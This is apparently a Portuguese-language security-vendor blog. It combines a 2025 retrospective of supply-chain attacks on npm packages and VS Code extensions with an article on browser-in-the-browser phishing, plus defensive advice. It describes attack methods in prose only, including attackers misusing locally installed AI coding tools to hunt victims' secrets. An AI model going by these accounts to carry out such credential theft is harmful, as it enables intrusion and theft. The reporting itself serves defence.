Em julho, os pacotes npm foram novamente as estrelas do show, incluindo o pacote amplamente usado chamado “is”, que possui 2,7 milhões de downloads semanais. Essa biblioteca de utilitários JavaScript fornece uma ampla variedade de funções de verificação de tipo e validação de valor. Para realizar um ataque de phishing contra um dos proprietários do projeto, os invasores utilizaram com êxito um truque antigo: o typosquatting (usar o domínio npnjs.com em vez de npmjs.com) e um clone do site oficial do npm.
Em seguida, eles usaram a conta comprometida para publicar várias das suas próprias versões do pacote com um backdoor incorporado. A infecção passou desapercebida por seis horas: tempo suficiente para um grande número de desenvolvedores baixarem os pacotes npm maliciosos.
A mesma tática de phishing foi usada contra outros desenvolvedores. Os invasores aproveitaram várias contas de desenvolvedores comprometidas para distribuir diferentes variantes de sua carga maliciosa. Há também uma forte suspeita de que eles podem ter guardado parte dessa carga para ataques futuros.
Agosto de 2025: o ataque s1ngularity e o vazamento de centenas de segredos dos desenvolvedores
No final de agosto, um incidente apelidado de “s1ngularity” continuou a tendência de atingir desenvolvedores de JavaScript. Os invasores comprometeram o Nx, um sistema de compilação popular e uma ferramenta de otimização de pipeline de CI/CD. O código malicioso injetado nos pacotes pesquisou diversos sistemas dos desenvolvedores infectados, acessando uma grande quantidade de dados confidenciais, como chaves de carteiras de criptomoedas, tokens do npm e do GitHub, chaves SSH, chaves de API e muito mais.
Curiosamente, os invasores usaram ferramentas de IA instaladas localmente, como Claude Code, Gemini CLI e Amazon Q, para detectar os segredos nas máquinas das vítimas. Tudo o que eles encontraram foi publicado nos repositórios públicos do GitHub criados em nome das vítimas, usando os títulos “s1ngularity-repository”, “s1ngularity-repository-0” e “s1ngularity-repository-1”. Como você deve ter adivinhado, é daí que vem o nome do ataque.
Consequentemente, os dados privados de centenas de desenvolvedores acabaram ficando à vista de todos e poderiam ser acessados não apenas pelos invasores, mas por absolutamente qualquer pessoa com uma conexão com a Internet.
Setembro de 2025: um stealer de criptomoedas ataca pacotes npm que têm 2,6 bilhões de downloads semanais
A tendência de comprometimentos de pacotes npm seguiu até setembro. Após uma nova campanha de phishing direcionada a desenvolvedores de JavaScript, os invasores conseguiram injetar código malicioso em algumas dezenas de projetos de alto nível. Alguns deles, especificamente “chalk” e “debug”, tiveram centenas de milhões de downloads semanais; coletivamente, os pacotes infectados estavam acumulando mais de 2,6 bilhões de downloads por semana no momento da violação, e eles se tornaram mais populares desde então.
A carga era um stealer de criptomoedas: um malware projetado para interceptar transações de criptomoeda e redirecioná-las para as carteiras dos invasores. Felizmente, apesar de infectar com sucesso alguns dos projetos mais populares do mundo, os invasores acabaram falhando no estágio final da operação. No final, eles ficaram com míseros USD 925.
Apenas uma semana depois, outro grande incidente ocorreu: a primeira onda do malware autopropagável Shai-Hulud, que infectou cerca de 150 pacotes npm, incluindo projetos da CrowdStrike. No entanto, a segunda onda, que ocorreu vários meses depois, provou ser muito mais destrutiva. Vamos analisar o Great Worm em mais detalhes a seguir.
Outubro de 2025: o GlassWorm infecta o ecossistema do Visual Studio Code
Cerca de um mês após o ataque do Shai-Hulud, um malware autopropagável semelhante denominado GlassWorm começou a infectar extensões do Visual Studio Code no Open VSX Registry e no Microsoft Extension Marketplace. Os invasores estavam procurando contas do GitHub, Git, npm e Open VSX, bem como chaves de carteiras de criptomoedas.
Os criadores do GlassWorm adotaram uma abordagem altamente criativa para sua infraestrutura de comando e controle: eles usaram uma carteira de criptomoedas no blockchain Solana como seu C2 principal, com o Google Agenda servindo como um canal de comunicação de backup.
Além de esvaziar as carteiras de criptomoedas das vítimas e sequestrar suas contas para espalhar o worm ainda mais, os invasores também injetaram um RAT chamado Zombi nos dispositivos infectados, obtendo controle total sobre os sistemas comprometidos.
Novembro de 2025: a campanha IndonesianFoods e 150 mil pacotes de spam no npm
Em novembro, um novo incômodo emergiu do repositório do npm. Uma campanha maliciosa coordenada apelidada de IndonesianFoods fez os invasores inundarem o repositório com dezenas de milhares de pacotes inúteis.
O objetivo principal era jogar com o sistema para inflar as métricas e os tokens de farm no tea.xyz, uma plataforma de blockchain projetada para recompensar os desenvolvedores de código aberto. Para conseguir isso, os invasores construíram uma enorme rede de projetos interdependentes com nomes que fazem referência à culinária indonésia, como zul-tapai9-kyuki e andi-rendang23-breki.
Os criadores da campanha não se deram ao trabalho de invadir contas. Estritamente falando, os pacotes de spam nem sequer continham um contêiner malicioso, a menos que você considere um script projetado para gerar automaticamente novos contêineres a cada sete segundos. No entanto, o incidente serviu como um lembrete de como a infraestrutura npm é vulnerável a campanhas de spam em larga escala.
Dezembro de 2025: Shai-Hulud 2.0 e o vazamento de 400 mil segredos de desenvolvedores
O destaque absoluto do ano, não apenas de ataques a cadeias de suprimentos, mas provavelmente para todo o campo de segurança cibernética, foi o malware autopropagável Shai-Hulud (também conhecido como Sha1-Hulud) contra desenvolvedores.
Esse malware foi a evolução lógica do ataque s1ngularity mencionado anteriormente: ele também vasculhou os sistemas em busca de todos os tipos de segredos e os publicou em repositórios GitHub abertos. No entanto, o Shai-Hulud adicionou um mecanismo de autopropagação à linha de base: o worm infectou projetos controlados por desenvolvedores já comprometidos usando as credenciais roubadas.
A primeira onda do Shai-Hulud ocorreu em setembro, infectando várias centenas de pacotes npm. No final do ano, a segunda onda chegou e foi batizada como Shai-Hulud 2.0.
Dessa vez, o worm foi atualizado com a funcionalidade de wiper. Se o malware não encontrasse tokens npm ou GitHub válidos em um sistema infectado, ele acionava uma carga destrutiva que apagava os arquivos do usuários.
Aproximadamente 400 mil segredos foram vazados no total como resultado do ataque. Vale a pena notar que, assim como no s1ngularity, todos os dados confidenciais acabaram publicados em repositórios públicos, onde poderiam ser baixados não apenas pelos invasores, mas por qualquer outra pessoa. E é altamente provável que as consequências desse ataque ainda sejam sentidas por um longo tempo.
Um dos primeiros casos confirmados de uma exploração usando segredos vazados pelo Shai-Hulud foi um roubo de criptomoeda visando vários milhares de usuários da Trust Wallet. Os invasores usaram esses segredos na véspera de Natal para carregar uma versão maliciosa da extensão Trust Wallet com um drenador de criptomoedas integrado para a Chrome Web Store. No final, eles conseguiram se safar com USD 8,5 milhões em criptomoedas.
Como se proteger contra ataques a cadeias de suprimentos
Ao elaborar uma retrospectiva semelhante para 2024, descobrimos que manter uma estrutura de “um mês, uma ameaça” é bastante fácil. Para 2025, no entanto, o caso foi muito mais grave. Houve tantos ataques maciços a cadeias de suprimentos no ano passado, que não conseguimos encaixá-los em uma visão geral.
O ano de 2026 está se mostrando igualmente intenso, por isso recomendamos verificar nossa postagem sobre a prevenção de ataques a cadeias de suprimentos. Enquanto isso, aqui estão as conclusões mais importantes:
Avalie minuciosamente seus fornecedores e faça uma auditoria cuidadosa do código que você integra em seus projetos.
Implemente requisitos de segurança rígidos diretamente em seus contratos de serviço.
Desenvolva um plano abrangente de resposta a incidentes.
Monitore atividades suspeitas em sua infraestrutura corporativa usando uma solução de XDR.
Se quiser saber mais detalhes sobre os ataques a cadeias de suprimentos, confira o nosso relatório analítico Supply chain reaction: securing the global digital ecosystem in an age of interdependence (Reação em cadeia de suprimentos: proteção ao ecossistema digital global em uma era de interdependência). Ele se baseia em insights de especialistas técnicos e revela com que frequência as organizações enfrentam riscos relacionados à cadeia de suprimentos e a relações de confiança, onde ainda existem lacunas de proteção e quais estratégias adotar para aumentar a resiliência contra esse tipo de ameaça.
Em 2022, analisamos em profundidade um método de ataque chamado browser-in-the-browser, originalmente desenvolvido pelo pesquisador de cibersegurança conhecido como mr.d0x. Na época, ainda não havia exemplos reais desse modelo sendo utilizado em ataques. Quatro anos depois, a situação mudou: os ataques browser-in-the-browser deixaram de ser apenas um conceito teórico e passaram a ser utilizados em campanhas reais. Neste artigo, revisitamos o que exatamente é um ataque browser-in-the-browser, mostramos como hackers estão utilizando essa técnica e, principalmente, explicamos como evitar se tornar a próxima vítima.
O que é um ataque browser-in-the-browser (BitB)?
Para começar, vale relembrar o que mr.d0x realmente desenvolveu. A base do ataque surgiu da observação de quão avançadas se tornaram as ferramentas modernas de desenvolvimento Web, como HTML, CSS e JavaScript. Essa constatação levou o pesquisador a conceber um modelo de phishing particularmente sofisticado.
Um ataque browser-in-the-browser é uma forma avançada de phishing que utiliza recursos de design e desenvolvimento Web para criar sites fraudulentos que imitam janelas de login de serviços conhecidos, como Microsoft, Google, Facebook ou Apple, com aparência praticamente idêntica à original. No conceito proposto pelo pesquisador, o atacante cria um site aparentemente legítimo para atrair as vítimas. Uma vez nesse site, o usuário descobre que não pode deixar comentários ou realizar uma compra sem antes fazer login.
O processo parece simples: basta clicar no botão Fazer login com {nome de um serviço popular}. É nesse momento que ocorre o golpe. Em vez de abrir a página real de autenticação do serviço legítimo, o usuário recebe um formulário falso renderizado dentro do próprio site malicioso, que se apresenta visualmente como se fosse… uma janela pop-up do navegador. Além disso, a barra de endereço exibida nessa janela, também renderizada pelos invasores, mostra uma URL aparentemente legítima. Mesmo uma inspeção cuidadosa pode não revelar a fraude.
A partir desse ponto, o usuário desavisado insere suas credenciais Microsoft, Google, Facebook ou Apple nessa janela renderizada, e esses dados são enviados diretamente aos cibercriminosos. Durante algum tempo, esse esquema permaneceu apenas como um experimento teórico do pesquisador de segurança. Hoje, porém, ataques reais já incorporaram essa técnica aos seus arsenais de phishing.
Roubo de credenciais do Facebook
Os atacantes adaptaram o conceito original de mr.d0x. Em ataques recentes do tipo browser-in-the-browser, o golpe começa com e-mails criados para alarmar o destinatário. Em uma campanha de phishing, por exemplo, os criminosos se passaram por um escritório de advocacia informando ao usuário que ele teria cometido uma violação de direitos autorais ao publicar conteúdo no Facebook. A mensagem incluía um link aparentemente legítimo que supostamente levaria à publicação problemática.
Os invasores enviaram mensagens em nome de um escritório de advocacia fictício alegando violação de direitos autorais, acompanhadas de um link que supostamente direcionava ao post problemático no Facebook. Fonte
Curiosamente, para reduzir a desconfiança da vítima, ao clicar no link não era exibida imediatamente uma página falsa de login do Facebook. Em vez disso, o usuário era primeiro apresentado a um CAPTCHA falso da Meta. Somente após “passar” por essa verificação é que a vítima recebia a janela pop-up de autenticação falsa.
Isso não é um pop-up real do navegador, mas um elemento da própria página que imita uma tela de login do Facebook. Esse truque permite que os invasores exibam um endereço aparentemente legítimo. Fonte
Naturalmente, a página falsa de login do Facebook segue o modelo descrito por mr.d0x. Ela é construída inteiramente com ferramentas de desenvolvimento Web para capturar as credenciais da vítima. Enquanto isso, a URL exibida na barra de endereço simulada aponta para o site verdadeiro do Facebook, www.facebook.com.
Como evitar se tornar uma vítima
O fato de golpistas já estarem utilizando ataques browser-in-the-browser demonstra que as técnicas de fraude digital evoluem constantemente. Ainda assim, existe uma forma eficaz de verificar se uma janela de login é legítima. Utilizar um gerenciador de senhas, que funciona como um teste de segurança confiável para sites.
Isso ocorre, porque, ao preencher credenciais automaticamente, o gerenciador de senhas verifica a URL real da página, e não aquilo que parece estar na barra de endereço ou o que a interface visual mostra. Diferentemente de um usuário humano, não é possível enganar um gerenciador de senhas por meio de técnicas como browser-in-the-browser, domínios com pequenas variações ortográficas (typosquatting) ou formulários de phishing ocultos em anúncios e pop-ups. A regra é simples: se o gerenciador de senhas oferecer o preenchimento automático de login e senha, você está em um site para o qual já salvou credenciais. Se ele permanecer silencioso, há um forte indício de que algo está errado.
Além disso, seguir algumas recomendações clássicas de segurança digital ajuda a se proteger contra phishing ou, pelo menos, reduzir os danos caso um ataque seja bem-sucedido:
Ative a autenticação em dois fatores (2FA) em todas as contas que suportam esse recurso. Idealmente, utilize códigos temporários gerados por um aplicativo autenticador dedicado como segundo fator. Isso ajuda a evitar golpes de phishing que interceptam códigos de confirmação enviados por SMS, aplicativos de mensagem ou e-mail. Leia mais sobre 2FA de código único em nosso post dedicado.
Utilize chaves de acesso. A opção de login com chave de acesso também pode indicar que você está em um site legítimo. Aprenda tudo sobre o que são chaves de acesso e como começar a usá-las em nossa análise aprofundada sobre essa tecnologia.
Crie senhas únicas e complexas para todas as contas. Faça o que fizer, nunca reutilize a mesma senha em contas diferentes. Recentemente explicamos em nosso blog o que torna uma senha realmente forte. Gerar combinações únicas, sem precisar memorizá-las, KPMé a melhor opção. Como benefício adicional, também pode gerar códigos temporários para autenticação em dois fatores, armazenar suas chaves de acesso e sincronizar suas senhas e arquivos entre seus diferentes dispositivos.
Por fim, este post serve como mais um lembrete de que ataques teóricos descritos por pesquisadores de cibersegurança frequentemente acabam sendo utilizados em ataques reais. Então, fique de olho no nosso blog, e assine nosso canal no Telegram para se manter atualizado sobre as ameaças mais recentes à sua segurança digital e saber como neutralizá-las.
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